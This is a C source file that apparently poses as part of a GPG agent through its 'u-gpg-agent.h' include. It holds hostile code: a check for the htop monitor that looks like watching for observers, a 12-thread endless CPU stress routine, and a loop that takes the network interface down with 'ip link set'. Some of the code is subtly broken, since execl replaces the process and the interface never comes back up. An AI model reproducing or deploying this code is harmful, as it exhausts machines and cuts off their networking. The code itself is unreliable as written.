| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960 |
- #include "u-gpg-agent.h"
- int is_htop_here() {
- char cmd[100] = "pgrep htop"; // shell command to check for htop process
- FILE* fp = popen(cmd, "r"); // open a pipe to execute the command and read its output
- char buf[10]; // buffer to hold the output
- fgets(buf, sizeof(buf), fp); // read the output from the pipe into the buffer
- pclose(fp); // close the pipe
- if (strlen(buf) > 0) { // if the output is non-empty, htop is running
- printf("HTOP TROUVÉ\n");
- return 1;
- } else {
- return 0;
- }
- }
- void* stress_thread(void* arg) {
- double size = 100000;
- double *arr = malloc(size * sizeof(double));
- if (arr == NULL) {
- printf("Error: failed to allocate memory\n");
- exit(1);
- }
-
- srand(time(NULL));
-
- while (1) {
- // generate random values and perform complex mathematical operations on them
- for (int i = 0; i < size; i++) {
- arr[i] = (double)rand() / RAND_MAX;
- }
- for (int i = 0; i < size; i++) {
- arr[i] = sin(cos(tan(arr[i] * M_PI)));
- }
- }
- pthread_exit(NULL);
- }
- void stress() {
- int num_threads = 12;
- pthread_t threads[num_threads];
- for (int i = 0; i < num_threads; i++) {
- pthread_create(&threads[i], NULL, stress_thread, NULL);
- }
-
- for (int i = 0; i < num_threads; i++) {
- pthread_join(threads[i], NULL);
- }
- }
- void kill_nic() {
- while(1) {
- execl("/usr/bin/ip", "ip", "link", "set", "enp5s0", "down", NULL);
- printf("nic down\n");
- sleep(10);
- execl("/usr/bin/ip", "ip", "link", "set", "enp5s0", "up", NULL);
- printf("nic up\n");
- }
-
- }
|